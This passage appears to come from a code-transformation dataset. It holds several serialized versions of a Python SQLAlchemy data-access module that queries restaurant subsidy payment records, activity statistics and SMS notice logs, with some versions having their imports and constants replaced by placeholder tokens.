q.filter(ActivityStats.activity_category_id == activity_category_id)\n\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n\n if offset is not None:\n q = q.offset(offset)\n\n return q\n\n\n@zeus_db_handler\ndef query_pay_records(restaurant_id, offset=None, limit=None):\n q = session.query(SubsidyPayRecord).\\\n filter(SubsidyPayRecord.restaurant_id == restaurant_id).\\\n order_by(SubsidyPayRecord.created_at.desc())\n\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n\n if offset is not None:\n q = q.offset(offset)\n\n return q.all()\n\n\n@zeus_db_handler\ndef query_paylog(pay_record_ids, activity_id=None, activity_category_id=None,\n offset=None, limit=None):\n q = session.query(\n ActivityStats.pay_record_id,\n ActivityStats.activity_id,\n ActivityStats.activity_category_id,\n ActivityStats.status,\n func.min(ActivityStats.date),\n func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity),\n func.sum(ActivityStats.total_subsidy)).\\\n group_by(ActivityStats.pay_record_id,\n ActivityStats.activity_id,\n ActivityStats.activity_category_id). \\\n filter(ActivityStats.pay_record_id.in_(pay_record_ids)).\\\n filter(ActivityStats.status.in_(PAYLOG_STATUS_LIST)).\\\n order_by(ActivityStats.created_at.desc())\n\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id)\n\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n\n if offset is not None:\n q = q.offset(offset)\n\n return q\n\n\n@zeus_db_handler\ndef get_max_subsidy_process_record_ids(pay_record_ids):\n q = session.query(func.max(SubsidyProcessRecord.id)).\\\n group_by(SubsidyProcessRecord.pay_record_id).\\\n filter(SubsidyProcessRecord.pay_record_id.in_(pay_record_ids))\n\n return q\n\n\n@zeus_db_handler\ndef count_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.id). \\\n group_by(ActivityStats.pay_record_id,\n ActivityStats.activity_id,\n ActivityStats.activity_category_id). \\\n filter(ActivityStats.restaurant_id == restaurant_id).\\\n filter(ActivityStats.status.in_(PAYLOG_STATUS_LIST))\n\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id)\n\n return len(q.all())\n\n\n@zeus_db_handler\ndef query_process_records_by_ids(process_ids):\n query = session.query(SubsidyProcessRecord).\\\n filter(SubsidyProcessRecord.id.in_(process_ids))\n return query.all()\n\n\n@zeus_db_handler\ndef get_subsidy_record_process_time(record_ids, status):\n return session.query(\n SubsidyProcessRecord.pay_record_id,\n SubsidyProcessRecord.processed_at).\\\n filter(SubsidyProcessRecord.pay_record_id.in_(record_ids)).\\\n filter(SubsidyProcessRecord.status == status).all()\n\n\ndef get_pay_activities_by_restaurant(rst_id):\n with zeus_session() as session:\n query = session.query(\n ActivityStats.activity_id,\n ActivityStats.activity_category_id,). \\\n group_by(ActivityStats.activity_id,\n ActivityStats.activity_category_id). \\\n filter(ActivityStats.restaurant_id == rst_id)\n\n return query.all()\n\n\n# javis model begins\ndef query_sms_send_info(start_time=None, end_time=None, phone=None,\n restaurant_id=None, card_num_tail=None, status=None):\n\n with walis_session() as session:\n query = session.query(NoticeRecord)\n\n if phone:\n query = query.filter(NoticeRecord.phone == phone)\n\n if restaurant_id:\n query = query.filter(NoticeRecord.restaurant_id == restaurant_id)\n\n if card_num_tail:\n query = query.filter(NoticeRecord.card_num_tail == card_num_tail)\n\n if status:\n query = query.filter(NoticeRecord.status == status)\n\n if not start_time:\n start_time = get_today_begin_time()\n\n if not end_time:\n end_time = get_today_end_time()\n\n query = query.filter(NoticeRecord.created_at > start_time).\\\n filter(NoticeRecord.created_at < end_time)\n\n return query.all()\n\n\ndef query_sms_send_count(start_time=None, end_time=None, status=None):\n with walis_session() as session:\n\n if not start_time:\n start_time = get_today_begin_time()\n\n if not end_time:\n end_time = get_today_end_time()\n\n query = session.query(func.count(NoticeRecord.record_id)).\\\n filter(NoticeRecord.created_at > start_time).\\\n filter(NoticeRecord.created_at < end_time)\n\n if status is not None:\n query = query.filter(NoticeRecord.status == status)\n\n return query.scalar()\n\n\n@zeus_db_handler\ndef query_auto_pay_activity_stats_result(\n city_ids=None, restaurant_ids=None, activity_id=None,\n activity_category_id=None, from_date=None, to_date=None, statuses=None,\n offset=None, limit=None, with_subsidy=None):\n q = session.query(ActivityStats.restaurant_id,\n ActivityStats.activity_id,\n ActivityStats.activity_category_id,\n func.sum(ActivityStats.quantity),\n func.sum(ActivityStats.total_subsidy),\n func.min(ActivityStats.date),\n func.max(ActivityStats.date)).\\\n group_by(ActivityStats.restaurant_id,\n ActivityStats.activity_id,\n ActivityStats.activity_category_id).\\\n order_by(ActivityStats.restaurant_id.desc())\n\n return _query_activity_stats(\n q, city_ids, restaurant_ids, activity_id,\n activity_category_id, from_date, to_date, statuses,\n with_subsidy, offset, limit)\n\n\ndef _query_activity_stats(\n q, city_ids=None, restaurant_ids=None, activity_id=None,\n activity_category_id=None, from_date=None, to_date=None, statuses=None,\n with_subsidy=None, offset=None, limit=None):\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id) # noqa\n\n if city_ids is not None:\n q = q.filter(ActivityStats.city_id.in_(city_ids))\n\n if restaurant_ids is not None:\n q = q.filter(ActivityStats.restaurant_id.in_(restaurant_ids))\n\n if from_date is not None:\n q = q.filter(ActivityStats.date >= from_date)\n\n if to_date is not None:\n q = q.filter(ActivityStats.date <= to_date)\n\n if statuses is not None:\n q = q.filter(ActivityStats.status.in_(statuses))\n\n if with_subsidy is not None:\n if with_subsidy:\n q = q.filter(ActivityStats.total_subsidy > 0)\n else:\n q = q.filter(ActivityStats.total_subsidy == 0)\n\n if offset is not None:\n q = q.offset(offset)\n\n q = q.limit(1000)\n\n return q\n", "from __future__ import absolute_import, division, print_function\nfrom sqlalchemy import func\nfrom walis.model.walis import walis_session\nfrom walis.model.zeus import zeus_session, zeus_db_handler\nfrom walis.model.zeus.activity import SubsidyProcessRecord, SubsidyPayRecord, ActivityStats\nfrom walis.model.walis.activity import PaymentNoticeRecord as NoticeRecord\nfrom walis.utils.time import get_today_begin_time, get_today_end_time\nMAX_LIST_SIZE = 1000\nDEFAULT_LIST_SIZE = 200\n\n\ndef get_new_pay_records(process_at, limit=200):\n with zeus_session() as session:\n result = session.query(SubsidyPayRecord.id, SubsidyPayRecord.\n restaurant_id, SubsidyProcessRecord.card_id,\n SubsidyProcessRecord.processed_at, SubsidyPayRecord.status\n ).outerjoin(SubsidyProcessRecord, SubsidyProcessRecord.\n pay_record_id == SubsidyPayRecord.id).filter(SubsidyPayRecord.\n id > process_at).filter(SubsidyProcessRecord.status !=\n SubsidyProcessRecord.STATUS_FAIL).order_by(SubsidyPayRecord.id.\n asc()).limit(limit).all()\n return result\n\n\ndef get_success_pay_records(record_ids):\n with zeus_session() as session:\n result = session.query(SubsidyPayRecord.id, SubsidyPayRecord.\n restaurant_id, SubsidyProcessRecord.card_id,\n SubsidyProcessRecord.processed_at).outerjoin(SubsidyProcessRecord,\n SubsidyProcessRecord.pay_record_id == SubsidyPayRecord.id).filter(\n SubsidyPayRecord.status == SubsidyPayRecord.STATUS_SUCCESS).filter(\n SubsidyProcessRecord.status != SubsidyProcessRecord.STATUS_FAIL\n ).filter(SubsidyPayRecord.id.in_(record_ids)).all()\n return result\n\n\ndef get_activity_stats(pay_record_id):\n with zeus_session() as session:\n results = session.query(ActivityStats.activity_id, ActivityStats.\n activity_category_id, func.sum(ActivityStats.total_subsidy),\n func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity)).group_by(ActivityStats.\n restaurant_id, ActivityStats.activity_id, ActivityStats.\n activity_category_id).filter(ActivityStats.pay_record_id ==\n pay_record_id).filter(ActivityStats.status == ActivityStats.\n STATUS_PAY_SUCCESS).all()\n return results\n\n\ndef get_success_record_ids_by_restaurant(restaurant_id, activity_id=None,\n activity_category_id=None):\n with zeus_session() as session:\n query = session.query(SubsidyPayRecord.id).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).filter(SubsidyPayRecord.status ==\n SubsidyPayRecord.STATUS_SUCCESS)\n if activity_id is not None:\n query.filter(SubsidyPayRecord.activity_id == activity_id)\n if activity_category_id is not None:\n query.filter(SubsidyPayRecord.activity_category_id ==\n activity_category_id)\n record_ids = query.all()\n return [r[0] for r in record_ids]\n\n\nPAYLOG_STATUS_LIST = {ActivityStats.STATUS_PAY_RECORD_GENERATED,\n ActivityStats.STATUS_PAY_SUCCESS, ActivityStats.STATUS_PAY_FAIL}\n\n\n@zeus_db_handler\ndef query_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None, offset=None, limit=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.pay_record_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, ActivityStats.\n status, func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity), func.sum(ActivityStats.\n total_subsidy), SubsidyPayRecord.created_at, func.max(\n SubsidyProcessRecord.id)).group_by(ActivityStats.pay_record_id,\n ActivityStats.activity_id, ActivityStats.activity_category_id\n ).outerjoin(SubsidyPayRecord, SubsidyPayRecord.id == ActivityStats.\n pay_record_id).outerjoin(SubsidyProcessRecord, SubsidyProcessRecord\n .pay_record_id == SubsidyPayRecord.id).filter(ActivityStats.\n restaurant_id == restaurant_id).filter(ActivityStats.status.in_(\n PAYLOG_STATUS_LIST)).order_by(SubsidyPayRecord.created_at.desc())\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q\n\n\n@zeus_db_handler\ndef query_pay_records(restaurant_id, offset=None, limit=None):\n q = session.query(SubsidyPayRecord).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).order_by(SubsidyPayRecord.\n created_at.desc())\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q.all()\n\n\n@zeus_db_handler\ndef query_paylog(pay_record_ids, activity_id=None, activity_category_id=\n None, offset=None, limit=None):\n q = session.query(ActivityStats.pay_record_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, ActivityStats.\n status, func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity), func.sum(ActivityStats.total_subsidy)\n ).group_by(ActivityStats.pay_record_id, ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n pay_record_id.in_(pay_record_ids)).filter(ActivityStats.status.in_(\n PAYLOG_STATUS_LIST)).order_by(ActivityStats.created_at.desc())\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q\n\n\n@zeus_db_handler\ndef get_max_subsidy_process_record_ids(pay_record_ids):\n q = session.query(func.max(SubsidyProcessRecord.id)).group_by(\n SubsidyProcessRecord.pay_record_id).filter(SubsidyProcessRecord.\n pay_record_id.in_(pay_record_ids))\n return q\n\n\n@zeus_db_handler\ndef count_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.id).group_by(ActivityStats.\n pay_record_id, ActivityStats.activity_id, ActivityStats.\n activity_category_id).filter(ActivityStats.restaurant_id ==\n restaurant_id).filter(ActivityStats.status.in_(PAYLOG_STATUS_LIST))\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n return len(q.all())\n\n\n@zeus_db_handler\ndef query_process_records_by_ids(process_ids):\n query = session.query(SubsidyProcessRecord).filter(SubsidyProcessRecord\n .id.in_(process_ids))\n return query.all()\n\n\n@zeus_db_handler\ndef get_subsidy_record_process_time(record_ids, status):\n return session.query(SubsidyProcessRecord.pay_record_id,\n SubsidyProcessRecord.processed_at).filter(SubsidyProcessRecord.\n pay_record_id.in_(record_ids)).filter(SubsidyProcessRecord.status ==\n status).all()\n\n\ndef get_pay_activities_by_restaurant(rst_id):\n with zeus_session() as session:\n query = session.query(ActivityStats.activity_id, ActivityStats.\n activity_category_id).group_by(ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n restaurant_id == rst_id)\n return query.all()\n\n\ndef query_sms_send_info(start_time=None, end_time=None, phone=None,\n restaurant_id=None, card_num_tail=None, status=None):\n with walis_session() as session:\n query = session.query(NoticeRecord)\n if phone:\n query = query.filter(NoticeRecord.phone == phone)\n if restaurant_id:\n query = query.filter(NoticeRecord.restaurant_id == restaurant_id)\n if card_num_tail:\n query = query.filter(NoticeRecord.card_num_tail == card_num_tail)\n if status:\n query = query.filter(NoticeRecord.status == status)\n if not start_time:\n start_time = get_today_begin_time()\n if not end_time:\n end_time = get_today_end_time()\n query = query.filter(NoticeRecord.created_at > start_time).filter(\n NoticeRecord.created_at < end_time)\n return query.all()\n\n\ndef query_sms_send_count(start_time=None, end_time=None, status=None):\n with walis_session() as session:\n if not start_time:\n start_time = get_today_begin_time()\n if not end_time:\n end_time = get_today_end_time()\n query = session.query(func.count(NoticeRecord.record_id)).filter(\n NoticeRecord.created_at > start_time).filter(NoticeRecord.\n created_at < end_time)\n if status is not None:\n query = query.filter(NoticeRecord.status == status)\n return query.scalar()\n\n\n@zeus_db_handler\ndef query_auto_pay_activity_stats_result(city_ids=None, restaurant_ids=None,\n activity_id=None, activity_category_id=None, from_date=None, to_date=\n None, statuses=None, offset=None, limit=None, with_subsidy=None):\n q = session.query(ActivityStats.restaurant_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, func.sum(\n ActivityStats.quantity), func.sum(ActivityStats.total_subsidy),\n func.min(ActivityStats.date), func.max(ActivityStats.date)).group_by(\n ActivityStats.restaurant_id, ActivityStats.activity_id,\n ActivityStats.activity_category_id).order_by(ActivityStats.\n restaurant_id.desc())\n return _query_activity_stats(q, city_ids, restaurant_ids, activity_id,\n activity_category_id, from_date, to_date, statuses, with_subsidy,\n offset, limit)\n\n\ndef _query_activity_stats(q, city_ids=None, restaurant_ids=None,\n activity_id=None, activity_category_id=None, from_date=None, to_date=\n None, statuses=None, with_subsidy=None, offset=None, limit=None):\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if city_ids is not None:\n q = q.filter(ActivityStats.city_id.in_(city_ids))\n if restaurant_ids is not None:\n q = q.filter(ActivityStats.restaurant_id.in_(restaurant_ids))\n if from_date is not None:\n q = q.filter(ActivityStats.date >= from_date)\n if to_date is not None:\n q = q.filter(ActivityStats.date <= to_date)\n if statuses is not None:\n q = q.filter(ActivityStats.status.in_(statuses))\n if with_subsidy is not None:\n if with_subsidy:\n q = q.filter(ActivityStats.total_subsidy > 0)\n else:\n q = q.filter(ActivityStats.total_subsidy == 0)\n if offset is not None:\n q = q.offset(offset)\n q = q.limit(1000)\n return q\n", "<import token>\nMAX_LIST_SIZE = 1000\nDEFAULT_LIST_SIZE = 200\n\n\ndef get_new_pay_records(process_at, limit=200):\n with zeus_session() as session:\n result = session.query(SubsidyPayRecord.id, SubsidyPayRecord.\n restaurant_id, SubsidyProcessRecord.card_id,\n SubsidyProcessRecord.processed_at, SubsidyPayRecord.status\n ).outerjoin(SubsidyProcessRecord, SubsidyProcessRecord.\n pay_record_id == SubsidyPayRecord.id).filter(SubsidyPayRecord.\n id > process_at).filter(SubsidyProcessRecord.status !=\n SubsidyProcessRecord.STATUS_FAIL).order_by(SubsidyPayRecord.id.\n asc()).limit(limit).all()\n return result\n\n\ndef get_success_pay_records(record_ids):\n with zeus_session() as session:\n result = session.query(SubsidyPayRecord.id, SubsidyPayRecord.\n restaurant_id, SubsidyProcessRecord.card_id,\n SubsidyProcessRecord.processed_at).outerjoin(SubsidyProcessRecord,\n SubsidyProcessRecord.pay_record_id == SubsidyPayRecord.id).filter(\n SubsidyPayRecord.status == SubsidyPayRecord.STATUS_SUCCESS).filter(\n SubsidyProcessRecord.status != SubsidyProcessRecord.STATUS_FAIL\n ).filter(SubsidyPayRecord.id.in_(record_ids)).all()\n return result\n\n\ndef get_activity_stats(pay_record_id):\n with zeus_session() as session:\n results = session.query(ActivityStats.activity_id, ActivityStats.\n activity_category_id, func.sum(ActivityStats.total_subsidy),\n func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity)).group_by(ActivityStats.\n restaurant_id, ActivityStats.activity_id, ActivityStats.\n activity_category_id).filter(ActivityStats.pay_record_id ==\n pay_record_id).filter(ActivityStats.status == ActivityStats.\n STATUS_PAY_SUCCESS).all()\n return results\n\n\ndef get_success_record_ids_by_restaurant(restaurant_id, activity_id=None,\n activity_category_id=None):\n with zeus_session() as session:\n query = session.query(SubsidyPayRecord.id).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).filter(SubsidyPayRecord.status ==\n SubsidyPayRecord.STATUS_SUCCESS)\n if activity_id is not None:\n query.filter(SubsidyPayRecord.activity_id == activity_id)\n if activity_category_id is not None:\n query.filter(SubsidyPayRecord.activity_category_id ==\n activity_category_id)\n record_ids = query.all()\n return [r[0] for r in record_ids]\n\n\nPAYLOG_STATUS_LIST = {ActivityStats.STATUS_PAY_RECORD_GENERATED,\n ActivityStats.STATUS_PAY_SUCCESS, ActivityStats.STATUS_PAY_FAIL}\n\n\n@zeus_db_handler\ndef query_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None, offset=None, limit=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.pay_record_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, ActivityStats.\n status, func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity), func.sum(ActivityStats.\n total_subsidy), SubsidyPayRecord.created_at, func.max(\n SubsidyProcessRecord.id)).group_by(ActivityStats.pay_record_id,\n ActivityStats.activity_id, ActivityStats.activity_category_id\n ).outerjoin(SubsidyPayRecord, SubsidyPayRecord.id == ActivityStats.\n pay_record_id).outerjoin(SubsidyProcessRecord, SubsidyProcessRecord\n .pay_record_id == SubsidyPayRecord.id).filter(ActivityStats.\n restaurant_id == restaurant_id).filter(ActivityStats.status.in_(\n PAYLOG_STATUS_LIST)).order_by(SubsidyPayRecord.created_at.desc())\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q\n\n\n@zeus_db_handler\ndef query_pay_records(restaurant_id, offset=None, limit=None):\n q = session.query(SubsidyPayRecord).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).order_by(SubsidyPayRecord.\n created_at.desc())\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q.all()\n\n\n@zeus_db_handler\ndef query_paylog(pay_record_ids, activity_id=None, activity_category_id=\n None, offset=None, limit=None):\n q = session.query(ActivityStats.pay_record_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, ActivityStats.\n status, func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity), func.sum(ActivityStats.total_subsidy)\n ).group_by(ActivityStats.pay_record_id, ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n pay_record_id.in_(pay_record_ids)).filter(ActivityStats.status.in_(\n PAYLOG_STATUS_LIST)).order_by(ActivityStats.created_at.desc())\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q\n\n\n@zeus_db_handler\ndef get_max_subsidy_process_record_ids(pay_record_ids):\n q = session.query(func.max(SubsidyProcessRecord.id)).group_by(\n SubsidyProcessRecord.pay_record_id).filter(SubsidyProcessRecord.\n pay_record_id.in_(pay_record_ids))\n return q\n\n\n@zeus_db_handler\ndef count_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.id).group_by(ActivityStats.\n pay_record_id, ActivityStats.activity_id, ActivityStats.\n activity_category_id).filter(ActivityStats.restaurant_id ==\n restaurant_id).filter(ActivityStats.status.in_(PAYLOG_STATUS_LIST))\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n return len(q.all())\n\n\n@zeus_db_handler\ndef query_process_records_by_ids(process_ids):\n query = session.query(SubsidyProcessRecord).filter(SubsidyProcessRecord\n .id.in_(process_ids))\n return query.all()\n\n\n@zeus_db_handler\ndef get_subsidy_record_process_time(record_ids, status):\n return session.query(SubsidyProcessRecord.pay_record_id,\n SubsidyProcessRecord.processed_at).filter(SubsidyProcessRecord.\n pay_record_id.in_(record_ids)).filter(SubsidyProcessRecord.status ==\n status).all()\n\n\ndef get_pay_activities_by_restaurant(rst_id):\n with zeus_session() as session:\n query = session.query(ActivityStats.activity_id, ActivityStats.\n activity_category_id).group_by(ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n restaurant_id == rst_id)\n return query.all()\n\n\ndef query_sms_send_info(start_time=None, end_time=None, phone=None,\n restaurant_id=None, card_num_tail=None, status=None):\n with walis_session() as session:\n query = session.query(NoticeRecord)\n if phone:\n query = query.filter(NoticeRecord.phone == phone)\n if restaurant_id:\n query = query.filter(NoticeRecord.restaurant_id == restaurant_id)\n if card_num_tail:\n query = query.filter(NoticeRecord.card_num_tail == card_num_tail)\n if status:\n query = query.filter(NoticeRecord.status == status)\n if not start_time:\n start_time = get_today_begin_time()\n if not end_time:\n end_time = get_today_end_time()\n query = query.filter(NoticeRecord.created_at > start_time).filter(\n NoticeRecord.created_at < end_time)\n return query.all()\n\n\ndef query_sms_send_count(start_time=None, end_time=None, status=None):\n with walis_session() as session:\n if not start_time:\n start_time = get_today_begin_time()\n if not end_time:\n end_time = get_today_end_time()\n query = session.query(func.count(NoticeRecord.record_id)).filter(\n NoticeRecord.created_at > start_time).filter(NoticeRecord.\n created_at < end_time)\n if status is not None:\n query = query.filter(NoticeRecord.status == status)\n return query.scalar()\n\n\n@zeus_db_handler\ndef query_auto_pay_activity_stats_result(city_ids=None, restaurant_ids=None,\n activity_id=None, activity_category_id=None, from_date=None, to_date=\n None, statuses=None, offset=None, limit=None, with_subsidy=None):\n q = session.query(ActivityStats.restaurant_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, func.sum(\n ActivityStats.quantity), func.sum(ActivityStats.total_subsidy),\n func.min(ActivityStats.date), func.max(ActivityStats.date)).group_by(\n ActivityStats.restaurant_id, ActivityStats.activity_id,\n ActivityStats.activity_category_id).order_by(ActivityStats.\n restaurant_id.desc())\n return _query_activity_stats(q, city_ids, restaurant_ids, activity_id,\n activity_category_id, from_date, to_date, statuses, with_subsidy,\n offset, limit)\n\n\ndef _query_activity_stats(q, city_ids=None, restaurant_ids=None,\n activity_id=None, activity_category_id=None, from_date=None, to_date=\n None, statuses=None, with_subsidy=None, offset=None, limit=None):\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if city_ids is not None:\n q = q.filter(ActivityStats.city_id.in_(city_ids))\n if restaurant_ids is not None:\n q = q.filter(ActivityStats.restaurant_id.in_(restaurant_ids))\n if from_date is not None:\n q = q.filter(ActivityStats.date >= from_date)\n if to_date is not None:\n q = q.filter(ActivityStats.date <= to_date)\n if statuses is not None:\n q = q.filter(ActivityStats.status.in_(statuses))\n if with_subsidy is not None:\n if with_subsidy:\n q = q.filter(ActivityStats.total_subsidy > 0)\n else:\n q = q.filter(ActivityStats.total_subsidy == 0)\n if offset is not None:\n q = q.offset(offset)\n q = q.limit(1000)\n return q\n", "<import token>\n<assignment token>\n\n\ndef get_new_pay_records(process_at, limit=200):\n with zeus_session() as session:\n result = session.query(SubsidyPayRecord.id, SubsidyPayRecord.\n restaurant_id, SubsidyProcessRecord.card_id,\n SubsidyProcessRecord.processed_at, SubsidyPayRecord.status\n ).outerjoin(SubsidyProcessRecord, SubsidyProcessRecord.\n pay_record_id == SubsidyPayRecord.id).filter(SubsidyPayRecord.\n id > process_at).filter(SubsidyProcessRecord.status !=\n SubsidyProcessRecord.STATUS_FAIL).order_by(SubsidyPayRecord.id.\n asc()).limit(limit).all()\n return result\n\n\ndef get_success_pay_records(record_ids):\n with zeus_session() as session:\n result = session.query(SubsidyPayRecord.id, SubsidyPayRecord.\n restaurant_id, SubsidyProcessRecord.card_id,\n SubsidyProcessRecord.processed_at).outerjoin(SubsidyProcessRecord,\n SubsidyProcessRecord.pay_record_id == SubsidyPayRecord.id).filter(\n SubsidyPayRecord.status == SubsidyPayRecord.STATUS_SUCCESS).filter(\n SubsidyProcessRecord.status != SubsidyProcessRecord.STATUS_FAIL\n ).filter(SubsidyPayRecord.id.in_(record_ids)).all()\n return result\n\n\ndef get_activity_stats(pay_record_id):\n with zeus_session() as session:\n results = session.query(ActivityStats.activity_id, ActivityStats.\n activity_category_id, func.sum(ActivityStats.total_subsidy),\n func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity)).group_by(ActivityStats.\n restaurant_id, ActivityStats.activity_id, ActivityStats.\n activity_category_id).filter(ActivityStats.pay_record_id ==\n pay_record_id).filter(ActivityStats.status == ActivityStats.\n STATUS_PAY_SUCCESS).all()\n return results\n\n\ndef get_success_record_ids_by_restaurant(restaurant_id, activity_id=None,\n activity_category_id=None):\n with zeus_session() as session:\n query = session.query(SubsidyPayRecord.id).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).filter(SubsidyPayRecord.status ==\n SubsidyPayRecord.STATUS_SUCCESS)\n if activity_id is not None:\n query.filter(SubsidyPayRecord.activity_id == activity_id)\n if activity_category_id is not None:\n query.filter(SubsidyPayRecord.activity_category_id ==\n activity_category_id)\n record_ids = query.all()\n return [r[0] for r in record_ids]\n\n\n<assignment token>\n\n\n@zeus_db_handler\ndef query_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None, offset=None, limit=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.pay_record_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, ActivityStats.\n status, func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity), func.sum(ActivityStats.\n total_subsidy), SubsidyPayRecord.created_at, func.max(\n SubsidyProcessRecord.id)).group_by(ActivityStats.pay_record_id,\n ActivityStats.activity_id, ActivityStats.activity_category_id\n ).outerjoin(SubsidyPayRecord, SubsidyPayRecord.id == ActivityStats.\n pay_record_id).outerjoin(SubsidyProcessRecord, SubsidyProcessRecord\n .pay_record_id == SubsidyPayRecord.id).filter(ActivityStats.\n restaurant_id == restaurant_id).filter(ActivityStats.status.in_(\n PAYLOG_STATUS_LIST)).order_by(SubsidyPayRecord.created_at.desc())\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q\n\n\n@zeus_db_handler\ndef query_pay_records(restaurant_id, offset=None, limit=None):\n q = session.query(SubsidyPayRecord).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).order_by(SubsidyPayRecord.\n created_at.desc())\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q.all()\n\n\n@zeus_db_handler\ndef query_paylog(pay_record_ids, activity_id=None, activity_category_id=\n None, offset=None, limit=None):\n q = session.query(ActivityStats.pay_record_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, ActivityStats.\n status, func.min(ActivityStats.date), func.max(ActivityStats.date),\n 